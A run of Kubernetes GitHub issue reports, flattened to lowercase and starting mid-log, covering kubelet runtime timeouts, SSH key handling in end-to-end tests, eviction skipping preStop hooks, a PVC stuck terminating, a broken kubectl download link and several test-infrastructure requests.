}\r i0824 11:38:48.969075    1415 container_manager_linux.go:428   containermanager : discovered runtime cgroups name: /system.slice/docker.service\r e0824 11:40:08.815497    1415 remote_runtime.go:169  listpodsandbox with filter nil from runtime service failed: rpc error: code = deadlineexceeded desc = context deadline exceeded\r i0824 11:40:15.831284    1415 fshandler.go:135  du and find on following dirs took 2m15.262576961s:  /var/lib/docker/overlay2/fa5db48d0b35981a4e10f2784b56ad33e8687b7f755487e5c5670b525f08b461/diff /var/lib/docker/containers/78e3add8e367e4e33a5705a019057feee86d62d4b028cbe38bc13e161349ec4d ; will not log again for this container unless duration exceeds 2s\r e0824 11:40:15.234329    1415 remote_runtime.go:434  status from runtime service failed: rpc error: code = deadlineexceeded desc = context deadline exceeded\r e0824 11:40:15.218592    1415 remote_image.go:67  listimages with filter nil from image service failed: rpc error: code = deadlineexceeded desc = context deadline exceeded\r e0824 11:40:49.242432    1415 container_manager_linux.go:86  unable to get docker version: operation timeout: context deadline exceeded\r i0824 11:40:55.997481    1415 fshandler.go:135  du and find on following dirs took 2m52.823990792s:  /var/lib/docker/overlay2/cb9f0d211aab4fa19d31a0db4bec15ced03b9b413790a6b0a364f6f0f77afe4b/diff /var/lib/docker/containers/8acadf9f4e101ff2af10fb5c6716312cb232ed494c132247fb6af2e6d677f971 ; will not log again for this container unless duration exceeds 2s\r e0824 11:40:55.144820    1415 remote_image.go:83  imagestatus \ registry.access.redhat.com/rhel7/pod-infrastructure:latest\  from image service failed: rpc error: code = deadlineexceeded desc = context deadline exceeded\r e0824 11:41:13.006490    1415 kuberuntime_image.go:102  listimages failed: rpc error: code = deadlineexceeded desc = context deadline exceeded\r e0824 11:41:13.443956    1415 kubelet.go:2099  container runtime sanity check failed: rpc error: code = deadlineexceeded desc = context deadline exceeded\r e0824 11:40:56.501857    1415 remote_runtime.go:262  listcontainers with filter &containerfilter{id:,state:nil,podsandboxid:,labelselector:map string string{},} from runtime service failed: rpc error: code = deadlineexceeded desc = context deadline exceeded\r i0824 11:41:26.118111    1415 logs.go:49  http: tls handshake error from 192.168.0.13:42030: eof\r e0824 11:41:18.919583    1415 kuberuntime_sandbox.go:195  listpodsandbox failed: rpc error: code = deadlineexceeded desc = context deadline exceeded\r w0824 11:41:24.213243    1415 image_gc_manager.go:192   imagegcmanager  failed to update image list: rpc error: code = deadlineexceeded desc = context deadline exceeded\r e0824 11:41:32.824373    1415 kuberuntime_image.go:87  imagestatus for image {\ registry.access.redhat.com/rhel7/pod-infrastructure:latest\ } failed: rpc error: code = deadlineexceeded desc = context deadline exceeded\r e0824 11:41:36.333224    1415 generic.go:197  genericpleg: unable to retrieve pods: rpc error: code = deadlineexceeded desc = context deadline exceeded\r e0824 11:41:44.375635    1415 kubelet_node_status.go:391  error updating node status, will retry: error getting node \ kube-node3\ : get https://192.168.0.10:8443/api/v1/nodes/kube-node3?resourceversion=0&timeout=10s: context deadline exceeded  client.timeout exceeded while awaiting headers \r e0824 11:41:44.593159    1415 kuberuntime_container.go:329  getkubeletcontainers failed: rpc error: code = deadlineexceeded desc = context deadline exceeded\r e0824 11:42:04.483992    1415 kubelet.go:1233  container garbage collection failed: rpc error: code = deadlineexceeded desc = context deadline exceeded\r e0824 11:43:48.512699    1415 remote_runtime.go:434  status from runtime service failed: rpc error: code = deadlineexceeded desc = context deadline exceeded\r e0824 11:44:11.341532    1415 remote_image.go:67  listimages with filter nil from image service failed: rpc error: code = deadlineexceeded desc = context deadline exceeded\r i0824 11:44:19.613028    1415 fshandler.go:135  du and find on following dirs took 2m19.920641831s:  /var/lib/docker/overlay2/fa5db48d0b35981a4e10f2784b56ad33e8687b7f755487e5c5670b525f08b461/diff /var/lib/docker/containers/78e3add8e367e4e33a5705a019057feee86d62d4b028cbe38bc13e161349ec4d ; will not log again for this container unless duration exceeds 3s\r e0824 11:44:21.787145    1415 remote_image.go:67  listimages with filter nil from image service failed: rpc error: code = deadlineexceeded desc = context deadline exceeded\r e0824 11:44:22.859635    1415 kubelet.go:2099  container runtime sanity check failed: rpc error: code = deadlineexceeded desc = context deadline exceeded\r i0824 11:44:30.591309    1415 fshandler.go:135  du and find on following dirs took 2m17.121355957s:  /var/lib/docker/overlay2/cb9f0d211aab4fa19d31a0db4bec15ced03b9b413790a6b0a364f6f0f77afe4b/diff /var/lib/docker/containers/8acadf9f4e101ff2af10fb5c6716312cb232ed494c132247fb6af2e6d677f971 ; will not log again for this container unless duration exceeds 3s\r i0824 11:44:46.197047    1415 container_manager_linux.go:428   containermanager : discovered runtime cgroups name: /system.slice/docker.service\r e0824 11:44:41.562971    1415 remote_runtime.go:169  listpodsandbox with filter nil from runtime service failed: rpc error: code = deadlineexceeded desc = context deadline exceeded\r e0824 11:44:47.657181    1415 kuberuntime_image.go:102  listimages failed: rpc error: code = deadlineexceeded desc = context deadline exceeded\r e0824 11:44:51.314758    1415 kuberuntime_image.go:102  listimages failed: rpc error: code = deadlineexceeded desc = context deadline exceeded\r w0824 11:45:04.143619    1415 image_gc_manager.go:181   imagegcmanager  failed to monitor images: rpc error: code = deadlineexceeded desc = context deadline exceeded\r e0824 11:45:06.244953    1415 remote_image.go:67  listimages with filter nil from image service failed: rpc error: code = deadlineexceeded desc = context deadline exceeded\r w0824 11:45:05.435243    1415 image_gc_manager.go:192   imagegcmanager  failed to update image list: rpc error: code = deadlineexceeded desc = context deadline exceeded\r e0824 11:45:12.356225    1415 kuberuntime_sandbox.go:195  listpodsandbox failed: rpc error: code = deadlineexceeded desc = context deadline exceeded\r e0824 11:45:25.448029    1415 generic.go:197  genericpleg: unable to retrieve pods: rpc error: code = deadlineexceeded desc = context deadline exceeded\r e0824 11:45:29.928782    1415 kuberuntime_image.go:136  listimages failed: rpc error: code = deadlineexceeded desc = context deadline exceeded\r e0824 11:45:48.882175    1415 eviction_manager.go:243  eviction manager: failed to get get summary stats: failed to get imagefs stats: failed to get image stats: rpc error: code = deadlineexceeded desc = context deadline exceeded\r e0824 11:46:00.776132    1415 remote_runtime.go:262  listcontainers with filter &containerfilter{id:,state:nil,podsandboxid:,labelselector:map string string{},} from runtime service failed: rpc error: code = deadlineexceeded desc = context deadline exceeded\r e0824 11:46:40.239604    1415 kuberuntime_container.go:329  getkubeletcontainers failed: rpc error: code = deadlineexceeded desc = context deadline exceeded\r e0824 11:46:51.634845    1415 kubelet.go:1233  container garbage collection failed: rpc error: code = deadlineexceeded desc = context deadline exceeded\r e0824 11:47:02.295809    1415 kubelet_node_status.go:391  error updating node status, will retry: error getting node \ kube-node3\ : get https://192.168.0.10:8443/api/v1/nodes/kube-node3?timeout=10s: context deadline exceeded  client.timeout exceeded while awaiting headers \r e0824 11:47:01.026388    1415 remote_runtime.go:434  status from runtime service failed: rpc error: code = deadlineexceeded desc = context deadline exceeded\r i0824 11:47:06.959274    1415 fshandler.go:135  du and find on following dirs took 1m26.258991348s:  /var/lib/docker/overlay2/fa5db48d0b35981a4e10f2784b56ad33e8687b7f755487e5c5670b525f08b461/diff /var/lib/docker/containers/78e3add8e367e4e33a5705a019057feee86d62d4b028cbe38bc13e161349ec4d ; will not log again for this container unless duration exceeds 4s\r e0824 11:47:19.790181    1415 kubelet.go:2099  container runtime sanity check failed: rpc error: code = deadlineexceeded desc = context deadline exceeded\r i0824 11:47:22.730225    1415 fshandler.go:135  du and find on following dirs took 1m31.273717419s:  /var/lib/docker/overlay2/cb9f0d211aab4fa19d31a0db4bec15ced03b9b413790a6b0a364f6f0f77afe4b/diff /var/lib/docker/containers/8acadf9f4e101ff2af10fb5c6716312cb232ed494c132247fb6af2e6d677f971 ; will not log again for this container unless duration exceeds 4s\r e0824 11:47:23.153164    1415 remote_runtime.go:169  listpodsandbox with filter &podsandboxfilter{id:,state:&podsandboxstatevalue{state:sandbox_ready,},labelselector:map string string{},} from runtime service failed: rpc error: code = deadlineexceeded desc = context deadline exceeded\r e0824 11:47:58.416962    1415 kuberuntime_sandbox.go:195  listpodsandbox failed: rpc error: code = deadlineexceeded desc = context deadline exceeded\r e0824 11:48:01.498667    1415 remote_image.go:67  listimages with filter nil from image service failed: rpc error: code = deadlineexceeded desc = context deadline exceeded\r e0824 11:48:08.908402    1415 remote_runtime.go:169  listpodsandbox with filter nil from runtime service failed: rpc error: code = deadlineexceeded desc = context deadline exceeded\r e0824 11:48:21.824530    1415 container_manager_linux.go:86  unable to get docker version: operation timeout: context deadline exceeded\r e0824 11:48:13.084562    1415 kubelet_pods.go:1019  error listing containers: &status.statuserror{code:4, message:\ context deadline exceeded\ , details:   any.any nil }\r e0824 11:48:28.859871    1415 event.go:212  unable to write event: 'post https://192.168.0.10:8443/api/v1/namespaces/default/events: read tcp 192.168.0.23:37510->192.168.0.10:8443: use of closed network connection; some request body already written'  may retry after sleeping \r e0824 11:48:32.754019    1415 kuberuntime_image.go:102  listimages failed: rpc error: code = deadlineexceeded desc = context deadline exceeded\r e0824 11:48:35.233645    1415 kubelet.go:1928  failed cleaning pods: rpc error: code = deadlineexceeded desc = context deadline exceeded\r e0824 11:48:33.799457    1415 kuberuntime_sandbox.go:195  listpodsandbox failed: rpc error: code = deadlineexceeded desc = context deadline exceeded\r w0824 11:48:45.428061    1415 image_gc_manager.go:192   imagegcmanager  failed to update image list: rpc error: code = deadlineexceeded desc = context deadline exceeded\r e0824 11:48:52.649094    1415 generic.go:197  genericpleg: unable to retrieve pods: rpc error: code = deadlineexceeded desc = context deadline exceeded\r e0824 11:48:59.682932    1415 kubelet_node_status.go:391  error updating node status, will retry: error getting node \ kube-node3\ : get https://192.168.0.10:8443/api/v1/nodes/kube-node3?timeout=10s: net/http: request canceled while waiting for connection  client.timeout exceeded while awaiting headers \r i0824 11:49:01.018491    1415 kubelet.go:1777  skipping pod synchronization -  container runtime is down pleg is not healthy: pleg was last seen active 11m9.027474757s ago; threshold is 3m0s \r i0824 11:49:10.280333    1415 kubelet.go:1777  skipping pod synchronization -  container runtime is down pleg is not healthy: pleg was last seen active 11m26.97190111s ago; threshold is 3m0s \r w0824 11:49:10.353389    1415 raw.go:87  error while processing event  \ /sys/fs/cgroup/devices/system.slice/systemd-tmpfiles-clean.service\ : 0x40000100 == in_create|in_isdir : inotify_add_watch /sys/fs/cgroup/devices/system.slice/systemd-tmpfiles-clean.service: no such file or directory\r w0824 11:49:10.373562    1415 container.go:393  failed to create summary reader for \ /system.slice/systemd-tmpfiles-clean.service\ : none of the resources are being tracked.\r i0824 11:49:10.559178    1415 kubelet.go:1777  skipping pod synchronization -  container runtime is down pleg is not healthy: pleg was last seen active 11m28.769702815s ago; threshold is 3m0s \r i0824 11:49:10.559276    1415 fshandler.go:135  du and find on following dirs took 56.188068101s:  /var/lib/docker/overlay2/fa5db48d0b35981a4e10f2784b56ad33e8687b7f755487e5c5670b525f08b461/diff /var/lib/docker/containers/78e3add8e367e4e33a5705a019057feee86d62d4b028cbe38bc13e161349ec4d ; will not log again for this container unless duration exceeds 5s\r i0824 11:49:10.961071    1415 fshandler.go:135  du and find on following dirs took 39.742880161s:  /var/lib/docker/overlay2/cb9f0d211aab4fa19d31a0db4bec15ced03b9b413790a6b0a364f6f0f77afe4b/diff /var/lib/docker/containers/8acadf9f4e101ff2af10fb5c6716312cb232ed494c132247fb6af2e6d677f971 ; will not log again for this container unless duration exceeds 5s\r i0824 11:49:10.961198    1415 kubelet.go:1777  skipping pod synchronization -  container runtime is down pleg is not healthy: pleg was last seen active 11m29.19610551s ago; threshold is 3m0s \r i0824 11:49:11.847386    1415 kubelet.go:1777  skipping pod synchronization -  pleg is not healthy: pleg was last seen active 11m29.996282385s ago; threshold is 3m0s \r i0824 11:49:12.605809    1415 kubelet_node_status.go:441  recording nodehassufficientdisk event message for node kube-node3\r i0824 11:49:12.662231    1415 kubelet_node_status.go:441  recording nodehassufficientmemory event message for node kube-node3\r i0824 11:49:12.662285    1415 kubelet_node_status.go:441  recording nodehasnodiskpressure event message for node kube-node3\r i0824 11:49:12.708002    1415 kubelet_node_status.go:441  recording nodenotready event message for node kube-node3\r i0824 11:49:12.743462    1415 kubelet_node_status.go:870  node became not ready: {type:ready status:false lastheartbeattime:2018-08-24 11:49:12.662290863 +0800 cst m=+952.351630919 lasttransitiontime:2018-08-24 11:49:12.662290863 +0800 cst m=+952.351630919 reason:kubeletnotready message:pleg is not healthy: pleg was last seen active 11m30.897226748s ago; threshold is 3m0s}\r i0824 11:49:13.535087    1415 kubelet.go:1777  skipping pod synchronization -  pleg is not healthy: pleg was last seen active 11m31.748803001s ago; threshold is 3m0s \r i0824 11:49:15.034253    1415 kubelet.go:1243  container garbage collection succeeded\r i0824 11:49:54.146539    1415 kubelet_node_status.go:441  recording nodeready event message for node kube-node3\r i0824 11:50:09.844829    1415 container_manager_linux.go:428   containermanager : discovered runtime cgroups name: /system.slice/docker.service\r i0824 11:50:49.003305    1415 kubelet_node_status.go:441  recording nodehassufficientdisk event message for node kube-node3\r i0824 11:50:49.659516    1415 kubelet_node_status.go:441  recording nodehassufficientmemory event message for node kube-node3\r i0824 11:50:50.658225    1415 kubelet_node_status.go:441  recording nodehasnodiskpressure event message for node kube-node3\r i0824 11:51:05.467203    1415 kubelet.go:1855  syncloop  delete, \ api\  : \ kibana-logging-56fb9d765-r8kx7_kube-system f0ba6aa5-a74e-11e8-88ea-525400c9c704 \ \r i0824 11:51:06.467074    1415 kubelet.go:1884  syncloop  pleg : \ kibana-logging-56fb9d765-r8kx7_kube-system f0ba6aa5-a74e-11e8-88ea-525400c9c704 \ , event: &pleg.podlifecycleevent{id:\ f0ba6aa5-a74e-11e8-88ea-525400c9c704\ , type:\ containerdied\ , data:\ 8acadf9f4e101ff2af10fb5c6716312cb232ed494c132247fb6af2e6d677f971\ }\r i0824 11:51:06.501119    1415 reconciler.go:181  operationexecutor.unmountvolume started for volume \ default-token-2fb82\   uniquename: \ kubernetes.io/secret/f0ba6aa5-a74e-11e8-88ea-525400c9c704-default-token-2fb82\   pod \ f0ba6aa5-a74e-11e8-88ea-525400c9c704\   uid: \ f0ba6aa5-a74e-11e8-88ea-525400c9c704\   \r i0824 11:51:06.513598    1415 operation_generator.go:688  unmountvolume.teardown succeeded for volume \ kubernetes.io/secret/f0ba6aa5-a74e-11e8-88ea-525400c9c704-default-token-2fb82\   outervolumespecname: \ default-token-2fb82\   pod \ f0ba6aa5-a74e-11e8-88ea-525400c9c704\   uid: \ f0ba6aa5-a74e-11e8-88ea-525400c9c704\  . innervolumespecname \ default-token-2fb82\ . pluginname \ kubernetes.io/secret\ , volumegidvalue \ \ \r i0824 11:51:06.602624    1415 reconciler.go:301  volume detached for volume \ default-token-2fb82\   uniquename: \ kubernetes.io/secret/f0ba6aa5-a74e-11e8-88ea-525400c9c704-default-token-2fb82\   on node \ kube-node3\  devicepath \ \ \r i0824 11:51:06.657938    1415 kubelet_pods.go:1082  killing unwanted pod \ kibana-logging-56fb9d765-r8kx7\ \r e0824 11:51:06.663851    1415 remote_runtime.go:278  containerstatus \ 8acadf9f4e101ff2af10fb5c6716312cb232ed494c132247fb6af2e6d677f971\  from runtime service failed: rpc error: code = unknown desc = error: no such container: 8acadf9f4e101ff2af10fb5c6716312cb232ed494c132247fb6af2e6d677f971\r e0824 11:51:06.666067    1415 kubelet_pods.go:1085  failed killing the pod \ kibana-logging-56fb9d765-r8kx7\ : failed to \ killcontainer\  for \ kibana-logging\  with killcontainererror: \ rpc error: code = unknown desc = error: no such container: 8acadf9f4e101ff2af10fb5c6716312cb232ed494c132247fb6af2e6d677f971\ \r i0824 11:51:07.481083    1415 kubelet.go:1884  syncloop  pleg : \ kibana-logging-56fb9d765-r8kx7_kube-system f0ba6aa5-a74e-11e8-88ea-525400c9c704 \ , event: &pleg.podlifecycleevent{id:\ f0ba6aa5-a74e-11e8-88ea-525400c9c704\ , type:\ containerdied\ , data:\ 78e3add8e367e4e33a5705a019057feee86d62d4b028cbe38bc13e161349ec4d\ }\r i0824 11:51:07.503914    1415 kubelet.go:1855  syncloop  delete, \ api\  : \ kibana-logging-56fb9d765-r8kx7_kube-system f0ba6aa5-a74e-11e8-88ea-525400c9c704 \ \r i0824 11:51:07.515381    1415 kubelet.go:1849  syncloop  remove, \ api\  : \ kibana-logging-56fb9d765-r8kx7_kube-system f0ba6aa5-a74e-11e8-88ea-525400c9c704 \ \r i0824 11:51:07.516500    1415 kubelet.go:2043  failed to delete pod \ kibana-logging-56fb9d765-r8kx7_kube-system f0ba6aa5-a74e-11e8-88ea-525400c9c704 \ , err: pod not found\r i0824 11:51:15.309051    1415 kubelet_node_status.go:441  recording nodeready event message for node kube-node3\r i0824 11:55:10.393842    1415 container_manager_linux.go:428   containermanager : discovered runtime cgroups name: /system.slice/docker.service\r i0824 12:00:10.397586    1415 container_manager_linux.go:428   containermanager : discovered runtime cgroups name: /system.slice/docker.service\r i0824 12:05:10.400832    1415 container_manager_linux.go:428   containermanager : discovered runtime cgroups name: /system.slice/docker.service\r i0824 12:10:10.414315    1415 container_manager_linux.go:428   containermanager : discovered runtime cgroups name: /system.slice/docker.service\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.0\r - cloud provider or hardware configuration: 2 cpu, 1g memroy\r - os  e.g. from /etc/os-release : centos7.5\r - kernel  e.g.  uname -a  : linux 3.10.0\r - install tools: vagrant + virtual box\r - others:\r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r trying to run e2e test which requires an ssh key; the ability to set the key on the pod is handled differently on different providers. in aws you can set an env var for where the file is  whole filepath , in vsphere and local you can specify a key file name but it is always relative to  ~/.ssh   which i don't want to mount into , and gce/gke/kubemark it is hardcoded and cant be modified at all.\r \r see https://github.com/kubernetes/kubernetes/blob/master/test/e2e/framework/util.go l3530-l3571\r \r   what you expected to happen  :\r i expected to be able to set the key value itself into an env var  instead of such a path  but even if it _must_ be a file then i expected to be able to set its whole path regardless of the provider used.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i'm using sonobuoy and have to go through  sonobuoy gen  then modify the yaml to mount a secret. in general you could do this to any node though but i have not typically ran system tests of of other pods other than through sonobuoy.\r \r i _want_ to be able to set:\r    \r       - name: local_ssh_key\r         valuefrom:\r           secretkeyref:\r             name: nodekey\r             key: id_rsa\r    \r on a pod and have that key just be used. currently  local provider  it is trying to use it to make a filepath though. if it has to be that way then i'd want to be able to refer to the file anywhere like in aws. it seems i should be able to make the volume/volume mount, set the env var to point to it and be done. but that will only work in aws and currently requires i copy my secret to the ~/.ssh directory which i dont want to have to do.\r \r   anything else we need to know?  :\r i'm happy to put in the small pr to make the providers consistent which seems like the most simple, correct path to resolve my concerns. i'd be even more thrilled to be able to create a new env var which can be used directly rather than making the signer from a file  which seems very simple to do since there is the  sshutil.makeprivatekeysignerfrombytes  function.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r looking at the code on master currently. running against\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-15t08:51:21z\ , goversion:\ go1.9\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ \ , minor:\ \ , gitversion:\ v1.10.4\ , gitcommit:\ 5ca598b4ba5abb89bb773071ce452e33fb66339d\ , gittreestate:\ \ , builddate:\ 2018-06-27t08:25:31z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r when using the  create_namespaced_pod_eviction  function from python's kuberneets api, we noticed that pods are terminated bythe cluster without respecting their prestop hooks or terminationgraceperiodseconds seconds.\r \r   what you expected to happen  :\r when using the eviction api, just as when using delete, pods should be allowed to run their prestop hooks, as well as be given terminationgraceperiodseconds before being terminated with sigkill.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. apply the following pod:\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: killme\r   labels:\r     app: test-termination-pod\r spec:\r   terminationgraceperiodseconds: 15\r   containers:\r   - command:  \ python\  \r     args:\r       - -u\r       - -c\r       - |\r         import signal,time\r         msg = \ boring sleep\ \r         def got_sig signum,frame :\r           global msg\r           print  \ got signal %s\  % signum \r           msg=\ after signal %s\  % signum\r         hndl=signal.signal signal.sigterm, got_sig \r         while true:\r           print time.asctime  ,msg \r           time.sleep 5 \r     image: python:3\r     name: sleeper\r     lifecycle:\r       prestop:\r         exec:\r           command:  \ /bin/bash\ , \ -c\ , \ sleep 10\  \r    \r \r 2. tail the pod logs in another window\r 3. attempt to evict the pod.\r    here is a sample curl equivalent of what  kubectl drain   1.13  is doing - happy path:\r  curl -k -v -xpost  -h \ accept: application/json,  / \  -h \ content-type: application/json\  -h \ authorization: basic <your base64 auth token> 'https://<kube api hostname>/api/v1/namespaces/default/pods/killme/eviction' --data '{\ kind\ :\ eviction\ ,\ apiversion\ :\ policy/v1beta1\ ,\ metadata\ : {\ namespace\ : \ default\ ,\ name\ : \ killme\ },\ deleteoptions\ :{}}' \r \r   here is a sample curl equivalent of what python's  create_namespaced_pod_eviction  is doing  when not passed  v1deleteoptions   - broken path:\r  curl -k -v -xpost  -h \ accept: application/json\  -h \ content-type: application/json\  -h \ authorization: basic <your base64 auth token>\  'https://<kube api hostname>/api/v1/namespaces/default/pods/killme/eviction' --data '{\ kind\ :\ eviction\ ,\ apiversion\ :\ policy/v1beta1\ ,\ metadata\ : {\ namespace\ : \ default\ ,\ name\ : \ killme\ }}' \r \r the log output generated by the guinea pod on the happy path looks like this:\r    \r wed jan  9 10:59:12 2019 boring sleep\r wed jan  9 10:59:17 2019 boring sleep\r wed jan  9 10:59:22 2019 boring sleep\r got signal 15\r wed jan  9 10:59:27 2019 after signal 15\r wed jan  9 10:59:32 2019 after signal 15\r wed jan  9 10:59:37 2019 after signal 15\r rpc error: code = unknown desc = error: no such container:....\r    \r the \ got signal 15\  message shows up only after the prestop hook is finished, so ~10 seconds after the evict call is made\r \r what happens on the broken path is:\r    \r wed jan  9 10:58:26 2019 boring sleep\r wed jan  9 10:58:31 2019 boring sleep\r wed jan  9 10:58:36 2019 boring sleep\r got signal 15                      \r got signal 15\r    \r we seem to be getting 2x sigterm, there are no messages indicating continued processing after the signal, and the signal itself is registered  immediately  after the eviction call is made, suggesting that prestop didn't run.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t10:39:04z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.3\ , gitcommit:\ 435f92c719f279a3a67808c80521ea17d5715c66\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t12:46:57z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : centos linux release 7.5.1804\r - kernel  e.g.  uname -a  : 3.10.0-862.14.4.el7.x86_64  1 smp wed sep 26 15:12:11 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: in-house\r - others:\r

followup from @kubernetes/sig-testing meeting  we'd prefer to avoid ssh access if at all possible; some tests can probably be re-written to use kubernetes features to accomplish the same thing  for those cases where we need ssh access, the test code assumes that the cluster has been stood up via the salt-based clusters code; ssh access is tied to certain cloud providers, and hardcoded key locations / env vars  ssh access should be orthogonal to the cloud provider, i think?    for a first step was thinking look for  kube_ssh_key  and  kube_ssh_user  env vars before falling back to old behavior of hardcoded assumptions.  this will mean redoing the  providerswithssh  check that a few tests use.

e.g. https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws-cncf-canary/475\r \r i think that   sig-network  network should set tcp close_wait timeout  fails on a 4.9 kernel.\r \r it appears that the test is looking for  cat /proc/net/ip_conntrack , but on 4.9 i have  /proc/net/nf_conntrack  instead.\r  \r cc @bowei @kubernetes/sig-network-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r  \r \r \r   what happened  :\r i test the pvc protection in k8sv1.9,the pvc not by one pod used,and i delete the pvc ,the pvc status become terminating but not remove,and never delete it always exist!\r \r  root@k8s-jlx:/home/ubuntu/yaml $ ps -aux |grep kube-api\r kube     11982  2.6  2.4 380612 197592 ?       ssl  14:45   0:20 /usr/bin/kube-apiserver --v=0 --etcd-servers=http://192.165.1.73:2379 --insecure-bind-address=0.0.0.0 --secure-port=6443 --insecure-port=8080 --service-cluster-ip-range=10.254.0.0/16 --admission-control=namespacelifecycle,limitranger,serviceaccount,resourcequota,defaultstorageclass,pvcprotection --tls-cert-file=/etc/kubernetes/certs/server.crt --tls-private-key-file=/etc/kubernetes/certs/server.key --client-ca-file=/etc/kubernetes/certs/ca.crt --token-auth-file=/etc/kubernetes/tokens/known_tokens.csv --basic-auth-file=/etc/kubernetes/basic_auth/auth.csv --service-account-key-file=/etc/kubernetes/certs/server.crt --bind-address=0.0.0.0 --apiserver-count=1 --log-dir=/root/info/logs/k8s --logtostderr=false --allow-privileged=true --feature-gates=pvcprotection=true\r \r  root@k8s-jlx:/home/ubuntu/yaml $ kubectl describe pvc cinder-claim-sc\r name:          cinder-claim-sc\r namespace:     default\r storageclass:  gold\r status:        terminating  since thu, 15 mar 2018 14:47:07 +0800 \r volume:        pvc-994bb480-281c-11e8-bfd4-fa163e4e3a84\r labels:        <none>\r annotations:   pv.kubernetes.io/bind-completed=yes\r                pv.kubernetes.io/bound-by-controller=yes\r                volume.beta.kubernetes.io/storage-provisioner=kubernetes.io/cinder\r finalizers:     kubernetes.io/pvc-protection \r capacity:      1gi\r access modes:  rwo\r events:\r   type    reason                 age   from                         message\r   ----    ------                 ----  ----                         -------\r   normal  provisioningsucceeded  12m   persistentvolume-controller  successfully provisioned volume pvc-994bb480-281c-11e8-bfd4-fa163e4e3a84 using kubernetes.io/cinder\r \r  root@k8s-jlx:/home/ubuntu/yaml $ kubectl delete pvc cinder-claim-sc\r persistentvolumeclaim \ cinder-claim-sc\  deleted\r  root@k8s-jlx:/home/ubuntu/yaml $ kubectl get pvc\r name              status        volume                                     capacity   access modes   storageclass   age\r cinder-claim-sc   terminating   pvc-994bb480-281c-11e8-bfd4-fa163e4e3a84   1gi        rwo            gold           36s\r \r   what you expected to happen  :\r when the pvc not used by one pod,delete the pvc and remove successully!\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :1.9.0\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r when i try to download the newest kubectl tool using the command described in the documentation https://kubernetes.io/docs/tasks/tools/install-kubectl/ install-kubectl-binary-using-curl error is returned \r \r    \r <?xml version='1.0' encoding='utf-8'?><error><code>nosuchkey</code><message>the specified key does not exist.</message><details>no such object: kubernetes-release/release/stable.txt /bin/linux/amd64/kubectl</details></error>%  \r    \r it looks like the file is not correctly stored at the google cloud.\r \r   what you expected to happen  :\r the binary kubectl file will be retrieved.\r \r   how to reproduce it  as minimally and precisely as possible   :\r use the command\r    \r curl -lo https://storage.googleapis.com/kubernetes-release/release/$ curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt /bin/linux/amd64/kubectl\r    \r the sub-part related to the retrieve the version returns: 'v1.13.2'\r \r   anything else we need to know?  :\r if something was changed in releasing of the kubectl tool the documentation of \r - kubernetes: https://kubernetes.io/docs/tasks/tools/install-kubectl/ install-kubectl-binary-using-curl\r - minikube: https://github.com/kubernetes/minikube\r has to be updated.

this line https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/cli-runtime/pkg/kustomize/k8sdeps/factory.go l24 references deleted code.\r see https://github.com/kubernetes/cli-runtime/issues/2\r

we have an autoscaling group for the minions; we should consider enabling auto-scaling based e.g. on cpu or a custom metric we publish.

to search in kibana for a certain pod the namespace and labels would be very useful.  since kibana 4 allows to enter with a configured query all logs of pods of a resourcecontroller could be easily filtered.

since  - volume tests rely on executing commands in pods  _, err = lookforstringinpodexec config.namespace, clientpod.name,   string{\ ls\ , \ -ld\ , \ /usr/share/nginx/html\ }, strconv.itoa int  fsgroup  , time.minute   - almost no other tests rely on this feature  ... we should make sure that this command actually is working properly before starting the tests.  i.e. make sure that lookforstringinpodexec is working .  its a non-trivial failure that could create several hard-to-debug false-negatives.  its not used commonly, and we don't want false correlations between pod exec failures and storage failures.  cc @kubernetes/sig-testing

we should track, for each test, the number of runs and the number of failures. there should be a way of indicating \ this test was fixed, start again from zero\ . we need this data to help people prioritize which flakes need to be fixed most urgently. we can also use this data to help determine whether a failure is due to a test infrastructure failure or whether it is due to an individual test being flaky   24755 .  this should be visible in a dashboard somewhere, and it should be machine-queryable at least from whatever component is filing/assigning flaky test issues.  part of  24753

augment https://github.com/kubernetes/kubernetes/pull/31559 to turn on session affinity for a service, lookup the vip from a container/node and make sure we only hit a single endpoint with n ready/running endpoints.

